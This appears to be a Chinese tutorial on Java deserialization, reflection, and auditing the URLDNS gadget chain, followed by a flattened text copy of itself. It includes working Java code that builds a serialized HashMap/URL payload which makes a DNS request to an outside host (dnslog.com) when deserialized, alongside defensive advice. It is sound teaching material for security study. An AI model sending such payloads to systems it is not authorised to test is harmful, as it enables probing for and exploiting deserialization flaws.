Java反序列化之反射&URLDNS链审计
字数 1703 2025-08-24 16:48:15

Java反序列化之反射&URLDNS链审计教学文档

一、Java序列化和反序列化基础

1. 基本概念

  • 序列化:将Java对象转换为字节序列的过程
  • 反序列化:把字节序列恢复为Java对象的过程

2. 主要用途

  1. 实现数据持久化,将对象永久保存到硬盘
  2. 实现远程通信,在网络上传送对象字节序列
  3. 应用场景:
    • 将内存中的对象保存到文件或数据库
    • 使用套接字在网络上传送对象
    • 通过RMI传输对象

3. 常见协议

  • XML & SOAP
  • JSON
  • Protobuf

4. 序列化实现

import java.io.Serializable;

public class Person implements Serializable {
    private String name;
    private int age;
    
    // 构造方法、toString等
}

5. 序列化与反序列化示例

序列化代码:

import java.io.*;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static void main(String[] args) throws Exception {
        Person person = new Person("aa", 22);
        serialize(person);
    }
}

反序列化代码:

import java.io.*;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
    
    public static void main(String[] args) throws Exception {
        Person person = (Person)unserialize("ser.bin");
    }
}

6. 反序列化安全问题

  • 服务端反序列化数据时,客户端传递类的readObject方法会自动执行
  • 攻击形式:
    1. 入口类的readObject直接调用危险方法
    2. 入口类参数中包含可控类,该类有危险方法
    3. 入口类参数中包含可控类,该类又调用其他存在危险方法的类
    4. 构造函数/静态代码块等类加载时隐式执行

二、Java反射机制

1. 反射概念

  • 在运行状态中,获取任意类的所有属性和方法
  • 对于任意对象,都能调用它的任意方法
  • 动态获取信息和调用对象方法的功能

2. 反射与正射对比

正射示例:

Student student = new Student();
student.doHomework("数学");

反射示例:

Class clazz = Class.forName("reflection.Student");
Method method = clazz.getMethod("doHomework", String.class);
Constructor constructor = clazz.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, "语文");

3. 反射的作用

  1. 修改已有对象的属性
  2. 动态生成对象
  3. 动态调用方法
  4. 操作内部类和私有方法
  5. 在反序列化漏洞中的作用:
    • 定制需要的对象
    • 通过invoke调用除同名函数以外的函数
    • 通过Class类创建对象,引入不能序列化的类

4. Class类的理解

  • 每个类都有一个Class对象
  • 编译新类时产生Class对象(保存在.class文件中)

5. 反射常用方法

获取Class类对象

  1. 通过实例化类获得:
Person person = new Person();
Class c = person.getClass();
  1. 通过Class.forName()获取:
Class c = Class.forName("reflection.person");
  1. 使用类的.class方法:
Class c = TestReflection.class;

实例化类对象

  1. 通过Class.newInstance():
Class p = Class.forName("Person");
Object p1 = p.newInstance();
  1. 通过Constructor.newInstance():
Constructor personconstructor = c.getConstructor(String.class, int.class);
Person p = (Person)personconstructor.newInstance("abc", 22);

获取类的属性

  1. 获取public属性:
Field f = c.getField("name");
  1. 获取任意属性:
Field f = c.getDeclaredField("name");
f.setAccessible(true);  // 访问私有属性
f.set(p, 24);  // 修改属性值
  1. 获取全部public属性:
Field[] f = c.getFields();
  1. 获取全部属性:
Field[] personfields = c.getDeclaredFields();

获取类的方法

  1. 获取public方法:
Method actionmethod = c.getMethod("action", String.class);
  1. 获取任意方法:
Method actionmethod = c.getDeclaredMethod("action", String.class);
actionmethod.setAccessible(true);
actionmethod.invoke(p, "asdfasdf");
  1. 获取全部public方法:
Method[] m = p.getMethods();
  1. 获取全部方法:
Method[] m = p.getDeclaredMethods();

三、URLDNS链审计

1. URLDNS链概述

  • 用于检测服务器是否存在反序列化漏洞
  • 利用方式类似于SSRF,通过发送DNS请求验证漏洞
  • 利用URL类的序列化特性

2. 漏洞挖掘思路

  1. 发现URL类实现了Serializable接口
  2. 寻找常见函数(如hashCode)
  3. 跟踪调用链,发现URLStreamHandler.hashCode()中的DNS请求

3. 调用链分析

完整调用链:

HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> getHostAddress() -> DNS请求

4. 关键代码实现

序列化部分

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static void main(String[] args) throws Exception {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url = new URL("http://dnslog.com");
        
        // 使用反射修改hashCode值,避免序列化时触发DNS请求
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url, 1234);
        
        hashmap.put(url, 1);
        hashcodefield.set(url, -1); // 恢复为-1,确保反序列化时触发
        serialize(hashmap);
    }
}

反序列化部分

import java.io.*;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
    
    public static void main(String[] args) throws Exception {
        unserialize("ser.bin"); // 触发DNS请求
    }
}

5. 为什么选择HashMap作为入口类

  1. 实现了Serializable接口
  2. 参数类型广泛(键值对形式)
  3. 重写了readObject方法
  4. 在readObject中调用了常用的hash()函数
  5. 是JDK自带的类

6. 关键点说明

  1. hashCode控制:通过反射修改URL对象的hashCode值,避免序列化时触发DNS请求
  2. 恢复hashCode:序列化前将hashCode恢复为-1,确保反序列化时触发
  3. 调用链触发:反序列化时HashMap.readObject() -> hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> DNS请求

四、总结

1. 反序列化漏洞利用条件

  1. 类要继承Serializable接口
  2. 入口类特征:
    • 重写readObject能够进行命令执行
    • 调用常见的函数如toString、equals等
    • 参数的类型广泛
    • JDK自带
  3. 调用链(相同名称,相同类型)
  4. 执行类(攻击类型)

2. 防御建议

  1. 对反序列化操作进行白名单控制
  2. 使用安全的序列化替代方案(如JSON)
  3. 更新JDK版本,修复已知漏洞
  4. 对反序列化数据进行严格校验

3. 学习要点

  1. 理解Java序列化和反序列化机制
  2. 掌握反射的基本原理和使用方法
  3. 理解反序列化漏洞的利用原理
  4. 能够分析调用链和构造利用链
  5. 掌握URLDNS链的构造和利用方式
Java反序列化之反射&URLDNS链审计教学文档 一、Java序列化和反序列化基础 1. 基本概念 序列化 :将Java对象转换为字节序列的过程 反序列化 :把字节序列恢复为Java对象的过程 2. 主要用途 实现数据持久化,将对象永久保存到硬盘 实现远程通信,在网络上传送对象字节序列 应用场景: 将内存中的对象保存到文件或数据库 使用套接字在网络上传送对象 通过RMI传输对象 3. 常见协议 XML & SOAP JSON Protobuf 4. 序列化实现 5. 序列化与反序列化示例 序列化代码: 反序列化代码: 6. 反序列化安全问题 服务端反序列化数据时,客户端传递类的readObject方法会自动执行 攻击形式: 入口类的readObject直接调用危险方法 入口类参数中包含可控类,该类有危险方法 入口类参数中包含可控类,该类又调用其他存在危险方法的类 构造函数/静态代码块等类加载时隐式执行 二、Java反射机制 1. 反射概念 在运行状态中,获取任意类的所有属性和方法 对于任意对象,都能调用它的任意方法 动态获取信息和调用对象方法的功能 2. 反射与正射对比 正射示例: 反射示例: 3. 反射的作用 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法 在反序列化漏洞中的作用: 定制需要的对象 通过invoke调用除同名函数以外的函数 通过Class类创建对象,引入不能序列化的类 4. Class类的理解 每个类都有一个Class对象 编译新类时产生Class对象(保存在.class文件中) 5. 反射常用方法 获取Class类对象 通过实例化类获得: 通过Class.forName()获取: 使用类的.class方法: 实例化类对象 通过Class.newInstance(): 通过Constructor.newInstance(): 获取类的属性 获取public属性: 获取任意属性: 获取全部public属性: 获取全部属性: 获取类的方法 获取public方法: 获取任意方法: 获取全部public方法: 获取全部方法: 三、URLDNS链审计 1. URLDNS链概述 用于检测服务器是否存在反序列化漏洞 利用方式类似于SSRF,通过发送DNS请求验证漏洞 利用URL类的序列化特性 2. 漏洞挖掘思路 发现URL类实现了Serializable接口 寻找常见函数(如hashCode) 跟踪调用链,发现URLStreamHandler.hashCode()中的DNS请求 3. 调用链分析 完整调用链: 4. 关键代码实现 序列化部分 反序列化部分 5. 为什么选择HashMap作为入口类 实现了Serializable接口 参数类型广泛(键值对形式) 重写了readObject方法 在readObject中调用了常用的hash()函数 是JDK自带的类 6. 关键点说明 hashCode控制 :通过反射修改URL对象的hashCode值,避免序列化时触发DNS请求 恢复hashCode :序列化前将hashCode恢复为-1,确保反序列化时触发 调用链触发 :反序列化时HashMap.readObject() -> hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> DNS请求 四、总结 1. 反序列化漏洞利用条件 类要继承Serializable接口 入口类特征: 重写readObject能够进行命令执行 调用常见的函数如toString、equals等 参数的类型广泛 JDK自带 调用链(相同名称,相同类型) 执行类(攻击类型) 2. 防御建议 对反序列化操作进行白名单控制 使用安全的序列化替代方案(如JSON) 更新JDK版本,修复已知漏洞 对反序列化数据进行严格校验 3. 学习要点 理解Java序列化和反序列化机制 掌握反射的基本原理和使用方法 理解反序列化漏洞的利用原理 能够分析调用链和构造利用链 掌握URLDNS链的构造和利用方式